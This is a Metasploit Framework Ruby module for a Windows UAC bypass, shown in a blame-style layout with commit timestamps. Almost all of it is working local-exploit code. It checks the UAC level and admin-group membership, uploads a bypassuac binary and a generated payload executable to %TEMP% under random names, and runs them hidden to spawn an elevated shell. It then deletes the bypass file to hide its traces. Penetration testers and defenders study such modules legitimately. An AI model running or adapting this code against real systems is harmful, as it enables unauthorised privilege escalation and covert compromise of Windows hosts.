2012-10-04 18:31:23 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2013-03-07 23:53:19 +00:00
|
|
|
# http://metasploit.com/framework/
|
2012-10-04 18:31:23 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2012-10-23 18:24:05 +00:00
|
|
|
require 'msf/core/exploit/exe'
|
2012-10-04 18:31:23 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
2013-09-05 19:05:34 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Exploit::EXE
|
2013-09-26 20:27:44 +00:00
|
|
|
include Post::Common
|
2013-09-05 19:05:34 +00:00
|
|
|
include Post::File
|
|
|
|
include Post::Windows::Priv
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Escalate UAC Protection Bypass',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will bypass Windows UAC by utilizing the trusted publisher
|
|
|
|
certificate through process injection. It will spawn a second shell that
|
|
|
|
has the UAC flag turned off.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [
|
|
|
|
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
|
|
|
|
'mitnick',
|
|
|
|
'mubix' # Port to local exploit
|
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'Targets' => [ [ 'Windows', {} ] ],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'References' => [
|
|
|
|
[ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate'=> "Dec 31 2010"
|
|
|
|
))
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin?
|
|
|
|
|
|
|
|
#
|
|
|
|
# Verify use against Vista+
|
|
|
|
#
|
|
|
|
winver = sysinfo["OS"]
|
|
|
|
if winver !~ /Windows Vista|Windows 2008|Windows [78]/
|
|
|
|
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
|
|
|
end
|
|
|
|
|
|
|
|
if is_uac_enabled?
|
|
|
|
print_status "UAC is Enabled, checking level..."
|
|
|
|
else
|
|
|
|
fail_with(Exploit::Failure::NotVulnerable,
|
|
|
|
"UAC is not enabled, no reason to run module, exiting...\r\nRun exploit/windows/local/ask to elevate"
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
case get_uac_level
|
|
|
|
when UACPromptCredsIfSecureDesktop, UACPromptConsentIfSecureDesktop, UACPromptCreds, UACPromptConsent
|
|
|
|
fail_with(Exploit::Failure::NotVulnerable,
|
|
|
|
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
|
|
|
)
|
|
|
|
when UACDefault
|
|
|
|
print_good "UAC is set to Default"
|
|
|
|
print_status "BypassUAC can bypass this setting, continuing..."
|
|
|
|
when UACNoPrompt
|
|
|
|
fail_with(Exploit::Failure::NotVulnerable,
|
|
|
|
"UAC is not enabled, no reason to run module\r\nRun exploit/windows/local/ask to elevate"
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Check if you are an admin
|
|
|
|
print_status('Checking admin status...')
|
|
|
|
admin_group = is_in_admin_group?
|
|
|
|
|
|
|
|
if admin_group.nil?
|
|
|
|
print_error('Either whoami is not there or failed to execute')
|
|
|
|
print_error('Continuing under assumption you already checked...')
|
|
|
|
else
|
|
|
|
if admin_group
|
|
|
|
print_good('Part of Administrators group! Continuing...')
|
|
|
|
else
|
|
|
|
print_error('Not in admins group, cannot escalate with this module')
|
|
|
|
print_error('Exiting...')
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
if get_integrity_level == LowIntegrityLevel
|
|
|
|
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Generate payload and random names for upload
|
|
|
|
#
|
|
|
|
payload = generate_payload_exe
|
|
|
|
|
|
|
|
# randomize the bypass_uac_filename
|
|
|
|
bypass_uac_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
|
|
|
|
|
|
# randomize the payload exe name
|
|
|
|
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
|
|
|
|
|
|
# path to the bypassuac binary
|
|
|
|
path = ::File.join(Msf::Config.install_root, "data", "post")
|
|
|
|
|
|
|
|
# decide, x86 or x64
|
|
|
|
bpexe = nil
|
|
|
|
if sysinfo["Architecture"] =~ /x64/i
|
|
|
|
bpexe = ::File.join(path, "bypassuac-x64.exe")
|
|
|
|
else
|
|
|
|
bpexe = ::File.join(path, "bypassuac-x86.exe")
|
|
|
|
end
|
|
|
|
|
|
|
|
tmpdir = session.fs.file.expand_path("%TEMP%")
|
|
|
|
cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}"
|
|
|
|
|
|
|
|
print_status("Uploading the bypass UAC executable to the filesystem...")
|
|
|
|
|
|
|
|
begin
|
|
|
|
#
|
|
|
|
# Upload UAC bypass to the filesystem
|
|
|
|
#
|
2013-09-26 18:22:36 +00:00
|
|
|
session.fs.file.upload_file("#{tmpdir}\\#{bypass_uac_filename}", bpexe)
|
2013-09-05 19:05:34 +00:00
|
|
|
print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
|
|
|
|
#
|
|
|
|
# Upload the payload to the filesystem
|
|
|
|
#
|
|
|
|
tempexe = tmpdir + "\\" + payload_filename
|
|
|
|
fd = client.fs.file.new(tempexe, "wb")
|
|
|
|
fd.write(payload)
|
|
|
|
fd.close
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_error("Error uploading file #{bypass_uac_filename}: #{e.class} #{e}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Uploaded the agent to the filesystem....")
|
|
|
|
|
|
|
|
# execute the payload
|
|
|
|
session.sys.process.execute(cmd, nil, {'Hidden' => true})
|
|
|
|
|
|
|
|
# delete the uac bypass payload
|
|
|
|
delete_file = "cmd.exe /c del #{tmpdir}\\#{bypass_uac_filename}"
|
|
|
|
|
|
|
|
session.sys.process.execute(delete_file, nil, {'Hidden' => true})
|
|
|
|
end
|
2012-10-04 18:31:23 +00:00
|
|
|
end
|
|
|
|
|